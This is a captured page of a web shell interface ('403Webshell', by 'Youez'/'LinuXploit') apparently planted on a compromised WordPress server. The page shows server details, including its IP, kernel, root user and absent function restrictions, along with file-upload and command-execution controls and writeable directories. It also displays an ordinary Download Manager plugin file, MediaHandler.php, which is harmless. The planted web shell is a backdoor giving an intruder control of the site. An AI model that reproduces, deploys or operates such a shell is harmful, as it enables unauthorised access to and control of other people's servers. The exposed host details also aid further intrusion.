403Webshell
Server IP : 130.225.57.55  /  Your IP : 216.73.216.60
Web Server : Apache
System : Linux wp-vhost07 5.15.0-173-generic #183-Ubuntu SMP Fri Mar 6 13:29:34 UTC 2026 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.25
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /srv/www/reco2st.eu/https/wp-content/plugins/download-manager/src/MediaLibrary/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /srv/www/reco2st.eu/https/wp-content/plugins/download-manager/src/MediaLibrary/MediaHandler.php
<?php
namespace WPDM\MediaLibrary;

class MediaHandler
{

    function __construct()
    {

        add_filter('media_upload_tabs', array($this, 'mediaTab'));
        add_filter( 'media_upload_wpdmpromedia', array($this, 'mediaUpload') );

    }

    function mediaTab($tabs)
    {
        $newtab = array('wpdmpromedia' => __('Download Manager', 'wppmpro'));
        return array_merge($tabs, $newtab);
    }


    function mediaUpload()
    {
        $errors = array();
        if (!empty($_POST)) {
            $return = media_upload_form_handler();

            if (is_string($return))
                return $return;
            if (is_array($return))
                $errors = $return;
        }

        wp_iframe( array($this, 'mediaForm'), $errors);
    }

    function mediaForm($errors){
        //include wpdm_tpl_path('media-tab.php');
        echo "Coming Soon...";
    }


}

Youez - 2016 - github.com/yon3zu
LinuXploit